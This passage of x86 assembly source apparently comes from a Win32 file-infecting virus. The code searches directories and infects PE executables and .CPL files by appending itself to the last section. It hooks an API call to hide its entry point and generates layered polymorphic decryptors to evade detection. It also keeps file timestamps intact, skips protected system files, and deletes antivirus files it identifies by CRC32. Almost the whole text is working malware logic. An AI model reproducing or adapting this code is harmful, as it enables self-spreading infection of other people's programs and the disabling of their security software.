DoFileFound: and eax,FILE_ATTRIBUTE_DIRECTORY or \
FILE_ATTRIBUTE_COMPRESSED or \
FILE_ATTRIBUTE_SYSTEM
jnz DoFindNext
;============================================================
;Save file time
;============================================================
cld
lea esi,dword ptr [ebx+WFD_ftCreationTime]
lea edi,dword ptr [ebp+FT_CreationTime]
movsd ; ftCreationTime ( dwLowDateTime )
movsd ; ftCreationTime ( dwHighDateTime )
movsd ; ftLastAccessTime ( dwLowDateTime )
movsd ; ftLastAccessTime ( dwHighDateTime )
movsd ; ftLastWriteTime ( dwLowDateTime )
movsd ; ftLastWriteTime ( dwHighDateTime )
;============================================================
;Check if file size is allowed
;============================================================
lodsd ; EDI points to WFD_nFileSizeHigh
or eax,eax
jnz DoFindNext
lodsd
cmp eax,0FFFFFFFFh- \
(size_virtual+(NUMBER_OF_POLY_LAYERS*00004000h))
jae DoFindNext
cmp eax,inf_size
jbe DoFindNext
;============================================================
;Save the file size for l8r use
;============================================================
mov dword ptr [ebp+FileSizeOnDisk],eax
;============================================================
;Check if file is already infected, using size padding
;============================================================
SIZE_PADDING equ 00000065h
mov ecx,SIZE_PADDING
xor edx,edx
div ecx
or edx,edx
jz DoFindNext
;============================================================
;Get complete path + filename and convert it to upper case
;============================================================
mov esi,dword ptr [ebx+FindStack_Ptr2SearchPath]
lea edi,dword ptr [ebp+BufStrFilename]
call parse_filename
lea esi,dword ptr [ebx+WFD_szFileName]
mov edi,edx
call parse_filename
; al -> Null
; edx -> Points to filename at the end of path
; edi -> Points 1byte above the null terminator
;============================================================
;Check file extension
;============================================================
lea esi,dword ptr [edi-00000005h]
call get_str_crc32
lea esi,dword ptr [ebp+TblCRC32szEXT]
mov ecx,NumberOfExt
CheckExtLoop: lodsd
sub eax,edx
jnz NoInterested
;============================================================
;Extension match... Infect file
;============================================================
call FileInfection
jmp short DoFindNext
NoInterested: loop CheckExtLoop
;============================================================
;None of our infectable extensions match
;Lets see if this file is an AV related file...
;============================================================
lea esi,dword ptr [ebp+BufStrFilename]
mov edi,esi
call parse_filename ;Parse and reparse
mov esi,edx
call get_str_crc32
lea esi,dword ptr [ebp+TblCRC32AV]
mov ecx,NumberOfAV
CheckAVLoop: lodsd
sub eax,edx
jnz AvNoMatch
;============================================================
;AV file found... Reset its attributes and delete it
;============================================================
lea esi,dword ptr [ebp+BufStrFilename]
push eax ; 00000000h
push esi
call dword ptr [ebp+a_SetFileAttributesA]
push esi
call dword ptr [ebp+a_DeleteFileA]
jmp short DoFindNext
AvNoMatch: loop CheckAVLoop
;============================================================
;Before looking for more files lets sleep a while
;============================================================
DoFindNext: mov eax,00000800h
call get_rnd_range
add eax,00000400h
push eax
call dword ptr [ebp+a_Sleep]
;============================================================
;Find next directory or file
;============================================================
push ebx ; lpFindFileData
push dword ptr [ebx+FindStack_Ptr2FindHandle]
call dword ptr [ebp+a_FindNextFileA]
or eax,eax
jnz GoFindRecord
ErrorFindFirst: mov eax,00002000h
call get_rnd_range
add eax,00001000h
push eax
call dword ptr [ebp+a_Sleep]
push dword ptr [ebx+FindStack_Ptr2FindHandle]
call dword ptr [ebp+a_FindClose]
mov esp,ebx
add esp,SIZEOF_WIN32_FIND_DATA + 00000004h
ret
;============================================================================
;Infect PE files
;
;On entry:
; BufStrFilename -> Buffer that contains complete path and
; filename
; DirectFindData -> Win32 Find Data structure filled with
; information about the file to infect
;============================================================================
FileInfection: push ebx
lea esi,dword ptr [ebp+BufStrFilename]
mov edi,esi
call parse_filename
mov esi,edx
;****************************************************************************
; mov eax,dword ptr [esi]
; cmp eax,'TAOG'
; jne ExitFileInf
;****************************************************************************
;============================================================
;Avoid some files from being infected
;============================================================
CheckFileName: push esi
mov ecx,00000002h
call get_crc32
lea esi,dword ptr [ebp+avoid_tbl]
mov ecx,avoid_num
AvoidLoop: lodsd
cmp eax,edx
jne NextAvoid
pop esi
jmp ExitFileInf
NextAvoid: loop AvoidLoop
pop esi
lodsb
cmp al,'.'
jne CheckFileName
;============================================================
;Check if file is protected by Windows File Protection
;(Windows 2000 only)
;============================================================
cmp dword ptr [ebp+hSFC],00000000h
jz NotProtected
lea eax,dword ptr [ebp+BufStrFilename]
push eax
push 00000000h
call dword ptr [ebp+a_SfcIsFileProtected]
or eax,eax
jnz ExitFileInf
;============================================================
;Try to infect this file
;============================================================
NotProtected: call TryAttach
;============================================================
;Exit file infection
;============================================================
ExitFileInf: pop ebx
ret
;============================================================================
;Infect file routines
;
;On entry:
; BufStrFilename -> Buffer filled with path + filename
;============================================================================
SEH_Block_0001 macro
add esp,-cPushad
jnz Ape_err
endm
;============================================================
;Open target file for read-only access
;============================================================
TryAttach: call FileMapRO
or eax,eax
jz inf_file_err
;============================================================
;Register ebx contains the base address of the target file
;all along infection routines
;============================================================
mov ebx,eax
;============================================================
;Check for MZ signature at base address
;============================================================
cld
cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
jne inf_close_file
;============================================================
;Check file address of relocation table
;============================================================
cmp word ptr [ebx+MZ_lfarlc],0040h
jb inf_close_file
;============================================================
;Now go to the pe header and check for the PE signature
;============================================================
mov esi,dword ptr [ebx+MZ_lfanew]
mov eax,dword ptr [ebp+FileSizeOnDisk]
shr eax,01h
cmp esi,eax
jae inf_close_file
add esi,ebx
lodsd
cmp eax,IMAGE_NT_SIGNATURE
jne inf_close_file
;============================================================
;Check machine field in IMAGE_FILE_HEADER
;just allow i386 PE files
;============================================================
cmp word ptr [esi+FH_Machine],IMAGE_FILE_MACHINE_I386
jne inf_close_file
;============================================================
;Now check the characteristics, look if file
;is an executable
;============================================================
mov ax,word ptr [esi+FH_Characteristics]
test ax,IMAGE_FILE_EXECUTABLE_IMAGE or \
IMAGE_FILE_32BIT_MACHINE
jz inf_close_file
;============================================================
;Avoid DLL's
;============================================================
; Removed to allow .CPL infection
;
; test ax,IMAGE_FILE_DLL
; jnz inf_close_file
;============================================================
;Virus resides on last section
;============================================================
call get_last_sh
jecxz inf_close_file
;============================================================
;Check subsystem, only GUI applications allowed
;============================================================
movzx eax,word ptr [esi+OH_Subsystem]
cmp eax,IMAGE_SUBSYSTEM_WINDOWS_GUI
jne inf_close_file
;============================================================
;Save RVA of last section
;============================================================
mov eax,edi
sub eax,ebx
mov dword ptr [ebp+virus_sh],eax
;============================================================
;This is an attempt to avoid offending PE file formats
;============================================================
mov eax,dword ptr [edi+SH_PointerToRawData]
add eax,dword ptr [edi+SH_SizeOfRawData]
add eax,dword ptr [esi+OH_FileAlignment]
cmp eax,dword ptr [ebp+FileSizeOnDisk]
jb inf_close_file
;============================================================
;Save a pointer to imports
;============================================================
mov eax,dword ptr [esi+ \
OH_DataDirectory+ \
DE_Import+ \
DD_VirtualAddress]
mov dword ptr [ebp+FileImport],eax
;============================================================
;Go to relocations
;============================================================
mov eax,dword ptr [esi+ \
OH_DataDirectory+ \
DE_BaseReloc+ \
DD_VirtualAddress]
or eax,eax
jz cant_overwrite
;============================================================
;Relocations section is the last section?
;============================================================
sub eax,dword ptr [edi+SH_VirtualAddress]
jz got_vir_offset
;============================================================
;We cant overwrite relocations...
;...lets attach the virus to the end of last section
;============================================================
cant_overwrite: mov eax,dword ptr [edi+SH_SizeOfRawData]
mov edx,dword ptr [edi+SH_VirtualSize]
cmp eax,edx
jae got_vir_offset
mov eax,edx
got_vir_offset: add eax,dword ptr [edi+SH_PointerToRawData]
mov dword ptr [ebp+vir_offset],eax
;============================================================
;Search inside host code...
;============================================================
@SEH_SetupFrame <SEH_Block_0001>
xor ecx,ecx
pushad
call DoEPO
mov dword ptr [esp+Pushad_ecx],ecx
Ape_err: popad
@SEH_RemoveFrame
jecxz inf_close_file
mov dword ptr [ebp+inject_offs],ecx
;============================================================
;Close file...
;============================================================
call FileUnmapRO
;============================================================
;...and remap with oversize
;============================================================
call FileMapRW
or eax,eax
jz inf_file_err
add dword ptr [ebp+virus_sh],eax
mov ebx,eax
;============================================================
;Move virus to file
;============================================================
lea esi,dword ptr [ebp+viro_sys]
mov edi,dword ptr [ebp+vir_offset]
add edi,ebx
push edi
mov ecx,inf_size
cld
rep movsb
;============================================================
;Save original code
;============================================================
mov esi,dword ptr [ebp+inject_offs]
add esi,ebx
pop edi
push edi
add edi,org_code-viro_sys
cld
movsb
movsd
;============================================================
;Save some registers on 1st decryptor
;============================================================
mov ecx,00000004h
push ecx
lea edi,dword ptr [ebp+TblStdPshP]
cld
CleanStdLoop: mov eax,00000004h
sub eax,ecx
stosd
loop CleanStdLoop
pop ecx
push ecx
lea edi,dword ptr [ebp+PshPStepIndex]
GenTblStdLoop: mov eax,00000004h
call get_rnd_range
lea esi,dword ptr [ebp+TblStdPshP+eax*04h]
lodsd
cmp eax,0FFFFFFFFh
jz GenTblStdLoop
stosd
mov dword ptr [esi-00000004h],0FFFFFFFFh
loop GenTblStdLoop
pop ecx
lea esi,dword ptr [ebp+PshPStepIndex]
pop edi
push edi
add edi,TblDoPolyPops-viro_sys
DoPolyPopsLoop: lodsd
lea edx,dword ptr [ebp+eax+TblDoPop]
mov al,byte ptr [edx]
stosb
loop DoPolyPopsLoop
;============================================================
;Prepare first decryptor mark
;============================================================
mov byte ptr [ebp+IsFirst],cl
;============================================================
;Initialize size of all decryptors
;============================================================
mov dword ptr [ebp+decryptor_size],ecx
;============================================================
;Get CRC32 of main virus body and save it for l8r use
;============================================================
pop esi
push esi
add esi,CRC_protected-viro_sys
mov ecx,SizeOfProtect
call get_crc32
pop edi
mov dword ptr [edi+ViralChecksum-viro_sys],edx
;============================================================
;Generate polymorphic encryption
;============================================================
add edi,inf_size
mov edx,dword ptr [ebp+vir_offset]
mov eax,NUMBER_OF_POLY_LAYERS
call get_rnd_range
inc eax
inc eax
mov ecx,eax
each_layer: push ecx
cmp ecx,00000001h
jne Set1stFlag
mov dword ptr [ebp+IsFirst],0FFh
Set1stFlag: mov ecx,dword ptr [ebp+decryptor_size]
add ecx,inf_size
mov esi,dword ptr [ebp+vir_offset]
call Mutate
add dword ptr [ebp+decryptor_size],ecx
pop ecx
loop each_layer
;============================================================
;Insert a call to virus code over the api call
;============================================================
mov edi,dword ptr [ebp+inject_offs]
add edi,ebx
mov al,0E8h
stosb
push edi
;============================================================
;Calculate the CALL displacement
;============================================================
call get_code_sh
mov eax,dword ptr [esi+OH_FileAlignment]
mov dword ptr [ebp+raw_align],eax
mov eax,dword ptr [ebp+inject_offs]
sub eax,dword ptr [edi+SH_PointerToRawData]
add eax,dword ptr [edi+SH_VirtualAddress]
push eax
mov eax,dword ptr [ebp+entry_point]
sub eax,00000005h
sub eax,ebx
mov edi,dword ptr [ebp+virus_sh]
sub eax,dword ptr [edi+SH_PointerToRawData]
add eax,dword ptr [edi+SH_VirtualAddress]
pop edx
sub eax,edx
pop edi
stosd
mov edi,dword ptr [ebp+virus_sh]
;============================================================
;Set read/write access on virus section
;============================================================
or dword ptr [edi+SH_Characteristics], \
IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
;============================================================
;Dont share virus section
;============================================================
and dword ptr [edi+SH_Characteristics], \
not IMAGE_SCN_MEM_SHARED
;============================================================
;Update SizeOfRawData
;============================================================
mov eax,dword ptr [ebp+vir_offset]
add eax,dword ptr [ebp+decryptor_size]
add eax,inf_size
mov edx,dword ptr [edi+SH_PointerToRawData]
mov dword ptr [ebp+fix_size],edx
sub eax,edx
cmp eax,dword ptr [edi+SH_SizeOfRawData]
jbe RawSizeOk
;============================================================
;If we changed SizeOfRawData round up to nearest
;file alignment
;============================================================
xor edx,edx
mov ecx,dword ptr [ebp+raw_align]
div ecx
inc eax
mul ecx
mov edx,dword ptr [edi+SH_SizeOfRawData]
mov dword ptr [edi+SH_SizeOfRawData],eax
sub eax,edx
test dword ptr [edi+SH_Characteristics], \
IMAGE_SCN_CNT_INITIALIZED_DATA
jz RawSizeOk
add dword ptr [esi+OH_SizeOfInitializedData],eax
;============================================================
;Update VirtualSize
;============================================================
RawSizeOk: mov eax,dword ptr [edi+SH_SizeOfRawData]
add dword ptr [ebp+fix_size],eax
add eax,size_virtual-inf_size
cmp eax,dword ptr [edi+SH_VirtualSize]
jbe VirtualSizeOk
mov dword ptr [edi+SH_VirtualSize],eax
;============================================================
;Update SizeOfImage
;============================================================
VirtualSizeOk: mov eax,dword ptr [edi+SH_VirtualAddress]
add eax,dword ptr [edi+SH_VirtualSize]
xor edx,edx
mov ecx,dword ptr [esi+OH_SectionAlignment]
div ecx
inc eax
mul ecx
mov dword ptr [esi+OH_SizeOfImage],eax
;============================================================
;Find any data directory entry pointing to last section
;============================================================
mov ecx,IMAGE_NUMBEROF_DIRECTORY_ENTRIES
lea edx,dword ptr [esi+OH_DataDirectory]
FDataPtr2Last: mov eax,dword ptr [edx]
cmp eax,dword ptr [edi+SH_VirtualAddress]
jne NextFDataPtr
mov eax,dword ptr [edi+SH_VirtualSize]
mov dword ptr [edx+00000004h],eax
jmp short DoneFDataPtr
NextFDataPtr: add edx,00000008h
loop FDataPtr2Last
;============================================================
;Clear BASE RELOCATION field
;============================================================
DoneFDataPtr: xor eax,eax
lea edi,dword ptr [esi+ \
OH_DataDirectory+ \
DE_BaseReloc+ \
DD_VirtualAddress]
cld
stosd
stosd
;============================================================
;Compute new file checksum and update it on PE header
;============================================================
mov eax,dword ptr [ebp+fix_size]
mov ecx,SIZE_PADDING
xor edx,edx
div ecx
inc eax
mul ecx
push eax
cmp dword ptr [ebp+hIMGHLP],00000000h
jz NoChecksum
mov byte ptr [ebx+eax],00h
mov edx,eax
lea esi,dword ptr [ebp+ChecksumPE]
push esi ; CheckSum
lodsd
push esi ; HeaderSum
push edx ; FileLength
push ebx
call dword ptr [ebp+a_CheckSumMappedFile]
or eax,eax
jz NoChecksum
cmp dword ptr [esi],00000000h
jz NoChecksum
mov edx,dword ptr [esi-00000004h]
mov dword ptr [eax+ \
NT_OptionalHeader.OH_CheckSum],edx
;============================================================
;Mark file as infected and optimize file size
;============================================================
NoChecksum: pop eax
mov dword ptr [ebp+FatSize],eax
call FileUnmapRW
ret
;============================================================
;Close file mapping
;============================================================
inf_close_file: call FileUnmapRO
inf_file_err: ret
;============================================================================
;Scan host code
;
;On entry:
; ebx -> Memory image base address
;Exit:
; ecx -> Inject point offset in file
; or NULL if error
;============================================================================
DoEPO: mov edx,dword ptr [ebp+FileImport]
call RVA2RAW
mov dword ptr [ebp+ImportSH],edi
call get_code_sh
jecxz ExitApe
mov eax,dword ptr [esi+OH_ImageBase]
mov dword ptr [ebp+host_base],eax
sub edx,dword ptr [edi+SH_VirtualAddress]
mov ecx,dword ptr [edi+SH_SizeOfRawData]
sub ecx,edx
add edx,dword ptr [edi+SH_PointerToRawData] ;Entry-point RAW
lea esi,dword ptr [ebx+edx]
search_call: push ecx
xor eax,eax
lodsb
cmp al,0E8h ;Api call generated by Borland Linker?
je try_borland
cmp al,0FFh ;Api call generated by Microsoft Linker?
je try_microsoft
err_api_call: pop ecx
loop search_call
ExitApe: ret
try_borland: mov eax,esi
add eax,dword ptr [esi] ;Go to refered address
sub eax,ebx ;Convert to rva
mov edx,dword ptr [edi+SH_VirtualAddress]
cmp eax,edx
jb err_api_call ;Below code?
add edx,dword ptr [edi+SH_VirtualSize]
cmp eax,edx
jae err_api_call ;Above code?
cmp word ptr [eax+ebx-00000002h],25FFh ;JMP DWORD PTR [xxxx]
jne err_api_call
push dword ptr [eax+ebx]
pop eax
sub eax,dword ptr [ebp+host_base] ;Get a RVA again
mov edx,dword ptr [ebp+ImportSH]
mov ecx,dword ptr [edx+SH_VirtualAddress]
cmp eax,ecx
jb err_api_call ;Below imports?
add ecx,dword ptr [edx+SH_VirtualSize]
cmp eax,ecx
jae err_api_call ;Above imports?
sub eax,dword ptr [edx+SH_VirtualAddress]
add eax,dword ptr [edx+SH_PointerToRawData]
push dword ptr [eax+ebx]
pop eax
mov edx,dword ptr [ebp+ImportSH]
mov ecx,dword ptr [edx+SH_VirtualAddress]
cmp eax,ecx
jb err_api_call ;Below imports?
add ecx,dword ptr [edx+SH_VirtualSize]
cmp eax,ecx
jae err_api_call ;Above imports?
found_place: ;Use this point? or better continue the search?
call get_rnd_range
test eax,01h
jz err_api_call
pop eax
mov ecx,esi
dec ecx
sub ecx,ebx
ret
try_microsoft: cmp byte ptr [esi],15h
jne err_api_call
mov eax,dword ptr [esi+00000001h]
sub eax,dword ptr [ebp+host_base]
mov edx,dword ptr [ebp+ImportSH]
mov ecx,dword ptr [edx+SH_VirtualAddress]
cmp eax,ecx
jb err_api_call ;Below imports?
add ecx,dword ptr [edx+SH_VirtualSize]
cmp eax,ecx
jae err_api_call ;Above imports?
sub eax,dword ptr [edx+SH_VirtualAddress]
add eax,dword ptr [edx+SH_PointerToRawData]
push dword ptr [eax+ebx]
pop eax
;If file is binded eax contains the address of the API
;Lets check if eax points to a KERNEL32 API
cmp eax,dword ptr [ebp+K32CodeStart]
jb inside_import
cmp eax,dword ptr [ebp+K32CodeEnd]
jb found_place
inside_import: mov edx,dword ptr [ebp+ImportSH]
mov ecx,dword ptr [edx+SH_VirtualAddress]
cmp eax,ecx
jb err_api_call ;Below imports?
add ecx,dword ptr [edx+SH_VirtualSize]
cmp eax,ecx
jae err_api_call ;Above imports?
jmp found_place
;============================================================================
;SEH handling routines coded by Jacky Qwerty / 29A
;============================================================================
SEH_Frame: sub edx,edx
push dword ptr fs:[edx]
mov fs:[edx],esp
jmp [esp.(02h*Pshd).RetAddr]
SEH_RemoveFrame:push 00000000h
pop edx
pop dword ptr [esp.(02h*Pshd).RetAddr]
pop dword ptr fs:[edx]
pop edx
ret (Pshd)
SEH_SetupFrame: call SEH_Frame
mov eax,[esp.EH_ExceptionRecord]
test byte ptr [eax.ER_ExceptionFlags], \
EH_UNWINDING or EH_EXIT_UNWIND
mov eax,dword ptr [eax.ER_ExceptionCode]
jnz SEH_Search
add eax,-EXCEPTION_ACCESS_VIOLATION
jnz SEH_Search
mov esp,dword ptr [esp.EH_EstablisherFrame]
mov dword ptr fs:[eax],esp
jmp dword ptr [esp.(02h*Pshd).Arg1]
SEH_Search: xor eax,eax
ret
;============================================================================
;FileMapRO open and map a file for read-only access
;
;On entry:
; BufStrFilename -> Buffer filled with path + filename
;Exit:
; eax -> Base address of memory map for file or null if error
;============================================================================
;============================================================
;GetFileAttributes
;============================================================
FileMapRO: lea esi,dword ptr [ebp+BufStrFilename]
push esi ; lpFileName
call dword ptr [ebp+a_GetFileAttributesA]
cmp eax,0FFFFFFFFh
jne FileGetAttrOk
FileGetAttrErr: xor eax,eax
ret
;============================================================
;CreateFile ( GENERIC_READ )
;============================================================
FileGetAttrOk: mov dword ptr [ebp+CurFileAttr],eax
xor edi,edi
push edi ; hTemplateFile
push FILE_ATTRIBUTE_NORMAL ; dwFlagsAndAttributes
push OPEN_EXISTING ; dwCreationDisposition
push edi ; lpSecurityAttributes
push edi ; dwShareMode
push GENERIC_READ ; dwDesiredAccess
push esi ; lpFileName
call dword ptr [ebp+a_CreateFileA]
cmp eax,INVALID_HANDLE_VALUE
je FileGetAttrErr
;============================================================
;CreateFileMapping ( PAGE_READONLY )
;============================================================
mov dword ptr [ebp+h_CreateFile],eax
push edi ; lpName
push edi ; dwMaximumSizeLow
push edi ; dwMaximumSizeHigh
push PAGE_READONLY ; flProtect
push edi ; lpFileMappingAttributes
push dword ptr [ebp+h_CreateFile] ; hFile
call dword ptr [ebp+a_CreateFileMappingA]
or eax,eax
jnz OkFileMappingRO
ErrFileMapRO: push dword ptr [ebp+h_CreateFile]
call dword ptr [ebp+a_CloseHandle]
jmp FileGetAttrErr
;============================================================
;MapViewOfFile
;============================================================
OkFileMappingRO:mov dword ptr [ebp+h_FileMap],eax
push edi ; dwNumberOfBytesToMap
push edi ; dwFileOffsetLow
push edi ; dwFileOffsetHigh
push FILE_MAP_READ ; dwDesiredAccess
push eax ; hFileMappingObject
call dword ptr [ebp+a_MapViewOfFile]
or eax,eax
jnz FileViewOkRO
FileViewErrorRO:push dword ptr [ebp+h_FileMap]
call dword ptr [ebp+a_CloseHandle]
jmp ErrFileMapRO
;============================================================
;Ready!
;============================================================
FileViewOkRO: mov dword ptr [ebp+map_is_here],eax
ret
;============================================================
;UnmapRO
;============================================================
FileUnmapRO: push ebx
call dword ptr [ebp+a_UnmapViewOfFile]
jmp FileViewErrorRO
;============================================================================
;FileMapRW open and map a file for read and write access
;
;On entry:
; BufStrFilename -> Buffer filled with path + filename
;Exit:
; eax -> Base address of memory map for file or null if error
;============================================================================
;============================================================
;Calculate size of infected file
;============================================================
FileMapRW: mov eax,dword ptr [ebp+vir_offset]
add eax,( size_virtual * 02h ) + \
( NUMBER_OF_POLY_LAYERS * 00004000h )
mov ecx,SIZE_PADDING
xor edx,edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+FatSize],eax
;============================================================
;SetFileAttributes
;============================================================
lea esi,dword ptr [ebp+BufStrFilename]
push FILE_ATTRIBUTE_NORMAL ; dwFileAttributes
push esi ; lpFileName
call dword ptr [ebp+a_SetFileAttributesA]
or eax,eax
jnz FileSetAttrOk
FileSetAttrErr: xor eax,eax
ret
;============================================================
;CreateFile ( GENERIC_READ or GENERIC_WRITE )
;============================================================
FileSetAttrOk: xor edi,edi
mov dword ptr [ebp+map_is_here],edi
push edi ; hTemplateFile
push FILE_ATTRIBUTE_NORMAL ; dwFlagsAndAttributes
push OPEN_EXISTING ; dwCreationDisposition
push edi ; lpSecurityAttributes
push edi ; dwShareMode
push GENERIC_READ or GENERIC_WRITE ; dwDesiredAccess
push esi ; lpFileName
call dword ptr [ebp+a_CreateFileA]
cmp eax,INVALID_HANDLE_VALUE
jne FileOpenOkRW
FileOpenErrorRW:lea esi,dword ptr [ebp+BufStrFilename] ; Need for reverse!
push dword ptr [ebp+CurFileAttr] ; dwFileAttributes
push esi ; lpFileName
call dword ptr [ebp+a_SetFileAttributesA]
jmp FileSetAttrErr
;============================================================
;CreateFileMapping ( PAGE_READWRITE )
;============================================================
FileOpenOkRW: mov dword ptr [ebp+h_CreateFile],eax
push edi ; lpName
push dword ptr [ebp+FatSize] ; dwMaximumSizeLow
push edi ; dwMaximumSizeHigh
push PAGE_READWRITE ; flProtect
push edi ; lpFileMappingAttributes
push eax ; hFile
call dword ptr [ebp+a_CreateFileMappingA]
or eax,eax
jnz FileMapOkRW
FileMapErrorRW: cmp dword ptr [ebp+map_is_here],edi
jz FileSizeIsOk
mov esi,dword ptr [ebp+h_CreateFile]
xor eax,eax
push eax ; dwMoveMethod
push eax ; lpDistanceToMoveHigh
push dword ptr [ebp+FatSize] ; lDistanceToMove
push esi ; hFile
call dword ptr [ebp+a_SetFilePointer]
cmp eax,0FFFFFFFFh
je FileSizeIsOk
push esi ; hFile
call dword ptr [ebp+a_SetEndOfFile]
lea edx,dword ptr [ebp+FT_LastWriteTime]
push edx
sub edx,00000008h
push edx
sub edx,00000008h
push edx
push esi
call dword ptr [ebp+a_SetFileTime]
FileSizeIsOk: push dword ptr [ebp+h_CreateFile]
call dword ptr [ebp+a_CloseHandle]
jmp FileOpenErrorRW
;============================================================
;MapViewOfFile
;============================================================
FileMapOkRW: mov dword ptr [ebp+h_FileMap],eax
push dword ptr [ebp+FatSize] ; dwNumberOfBytesToMap
push edi ; dwFileOffsetLow
push edi ; dwFileOffsetHigh
push FILE_MAP_WRITE ; dwDesiredAccess
push eax ; hFileMappingObject
call dword ptr [ebp+a_MapViewOfFile]
or eax,eax
jnz FileViewOkRW
FileViewErrorRW:push dword ptr [ebp+h_FileMap]
call dword ptr [ebp+a_CloseHandle]
jmp FileMapErrorRW
FileViewOkRW: mov dword ptr [ebp+map_is_here],eax
ret
;============================================================
;UnmapRW
;============================================================
FileUnmapRW: push ebx
call dword ptr [ebp+a_UnmapViewOfFile]
jmp FileViewErrorRW
;============================================================================
;Convert RVA to RAW
;
;On entry:
; ebx -> Host base address
; edx -> RVA to convert
;On exit:
; ecx -> Pointer to RAW data or NULL if error
; edx -> Section delta offset
; esi -> Pointer to IMAGE_OPTIONAL_HEADER
; edi -> Pointer to section header
;============================================================================
RVA2RAW: cld
mov dword ptr [ebp+search_raw],edx
mov esi,dword ptr [ebx+MZ_lfanew]
add esi,ebx
lodsd
movzx ecx,word ptr [esi+FH_NumberOfSections]
jecxz err_RVA2RAW
movzx edi,word ptr [esi+FH_SizeOfOptionalHeader]
add esi,IMAGE_SIZEOF_FILE_HEADER
add edi,esi
;============================================================
;Get the IMAGE_SECTION_HEADER that contains RVA
;
;At this point:
;
;ebx -> File base address
;esi -> Pointer to IMAGE_OPTIONAL_HEADER
;edi -> Pointer to first section header
;ecx -> Number of sections
;
;Check if address of imports directory is inside this
;section
;============================================================
s_img_section: mov eax,dword ptr [ebp+search_raw]
mov edx,dword ptr [edi+SH_VirtualAddress]
sub eax,edx
cmp eax,dword ptr [edi+SH_VirtualSize]
jb section_ok
;============================================================
;Go to next section header
;============================================================
out_of_section: add edi,IMAGE_SIZEOF_SECTION_HEADER
loop s_img_section
err_RVA2RAW: ret
;============================================================
;Get raw
;============================================================
section_ok: mov ecx,dword ptr [edi+SH_PointerToRawData]
sub edx,ecx
add ecx,eax
add ecx,ebx
ret
;============================================================================
;Get code section header and entry-point information
;
;On entry:
; ebx -> Host base address
;On exit:
; ecx -> Pointer to RAW data or NULL if error
; edx -> Entry-point RVA
; esi -> Pointer to IMAGE_OPTIONAL_HEADER
; edi -> Pointer to section header
;============================================================================
get_code_sh: call get_last_sh
mov edx,dword ptr [esi+OH_AddressOfEntryPoint]
push edx
call RVA2RAW
pop edx
ret
;============================================================================
;Get pointer to last section header
;
;On entry:
; ebx -> Host base address
;On exit:
; esi -> IMAGE_OPTIONAL_HEADER
; edi -> Pointer to last section header
;============================================================================
get_last_sh: push ecx
mov esi,dword ptr [ebx+MZ_lfanew]
add esi,ebx
cld
lodsd
movzx ecx,word ptr [esi+FH_NumberOfSections]
dec ecx
mov eax,IMAGE_SIZEOF_SECTION_HEADER
mul ecx
movzx edx,word ptr [esi+FH_SizeOfOptionalHeader]
add esi,IMAGE_SIZEOF_FILE_HEADER
add eax,edx
add eax,esi
mov edi,eax
pop ecx
ret
;============================================================================
;Generate data area suitable for memory write access
;
; edi -> Base address
; ecx -> Size
;============================================================================
gen_data_area: push eax
push edx
movzx eax,byte ptr [ebp+NumberOfDataAreas]
cmp eax,NUM_DA
jae no_more_da
lea edx,dword ptr [ebp+tbl_data_area+eax*08h]
mov eax,edi
sub eax,dword ptr [ebp+map_is_here]
add eax,dword ptr [ebp+host_base]
push ecx
mov ecx,dword ptr [ebp+virus_sh]
sub eax,dword ptr [ecx+SH_PointerToRawData]
add eax,dword ptr [ecx+SH_VirtualAddress]
mov dword ptr [edx],eax
pop ecx
mov dword ptr [edx+00000004h],ecx
inc byte ptr [ebp+NumberOfDataAreas]
no_more_da: pop edx
pop eax
ret
;============================================================================
;Generate a block of random data
;============================================================================
gen_rnd_block: mov eax,0000000Ah
mov ecx,eax
call get_rnd_range
add ecx,eax
call gen_data_area
rnd_fill: mov eax,dword ptr [ebp+FileSizeOnDisk]
dec eax
sub eax,ecx
call get_rnd_range
add eax,dword ptr [ebp+map_is_here]
mov esi,eax
cld
rep movsb
ret
;============================================================================
;Linear congruent pseudorandom number generator
;============================================================================
get_rnd32: push ecx
push edx
mov eax,dword ptr [ebp+rnd32_seed]
mov ecx,41C64E6Dh
mul ecx
add eax,00003039h
and eax,7FFFFFFFh
mov dword ptr [ebp+rnd32_seed],eax
pop edx
pop ecx
ret
;============================================================================
;Returns a random num between 0 and entry eax
;============================================================================
get_rnd_range: push ecx
push edx
mov ecx,eax
call get_rnd32
xor edx,edx
div ecx
mov eax,edx
pop edx
pop ecx
ret
;============================================================================
;Perform encryption
;============================================================================
;============================================================
;This buffer will contain the code to "crypt" the virus code
;followed by a RET instruction
;============================================================
perform_crypt: db 10h dup (90h)
;============================================================================
;Generate decryptor action: Load pointer
;
;We dont need to get delta-offset, this virus assumes fixed load address
;============================================================================
gen_load_ptr: mov al,0B8h
or al,byte ptr [ebp+index_mask]
stosb
mov eax,dword ptr [ebp+host_base]
add eax,dword ptr [ebp+PtrToCrypt]
add eax,dword ptr [ebp+ptr_disp]
mov edx,dword ptr [ebp+virus_sh]
sub eax,dword ptr [edx+SH_PointerToRawData]
add eax,dword ptr [edx+SH_VirtualAddress]
test byte ptr [ebp+build_flags],CRYPT_DIRECTION
jz fix_dir_ok
push eax ;Fix upon direction
call fixed_size2ecx
xor eax,eax
mov al,byte ptr [ebp+oper_size]
push eax
mul ecx
pop ecx
sub eax,ecx
pop ecx
add eax,ecx
fix_dir_ok: stosd
ret
;============================================================================
;Generate decryptor action: Load counter
;============================================================================
;============================================================
;Easy now, just move counter random initial value
;into counter reg and calculate the end value
;============================================================
gen_load_ctr: mov al,0B8h
or al,byte ptr [ebp+counter_mask]
stosb
call fixed_size2ecx
call get_rnd32
stosd
test byte ptr [ebp+build_flags],CRYPT_CDIR
jnz counter_down
counter_up: add eax,ecx
jmp short done_ctr_dir
counter_down: sub eax,ecx
done_ctr_dir: mov dword ptr [ebp+end_value],eax
ret
;============================================================================
;Generate decryptor action: Decrypt
;============================================================================
gen_decrypt: mov eax,dword ptr [ebp+ptr_disp]
mov dword ptr [ebp+fake_ptr_disp],eax
mov eax,dword ptr [ebp+crypt_key]
mov dword ptr [ebp+fake_crypt_key],eax
mov al,byte ptr [ebp+build_flags]
mov byte ptr [ebp+fake_build_flags],al
mov al,byte ptr [ebp+oper_size]
mov byte ptr [ebp+fake_oper_size],al
mov al,byte ptr [ebp+index_mask]
mov byte ptr [ebp+fake_index_mask],al
call fake_or_not
xor eax,eax
mov al,byte ptr [ebp+oper_size]
shr eax,01h
shl eax,02h
add esi,eax
lodsd
add eax,ebp
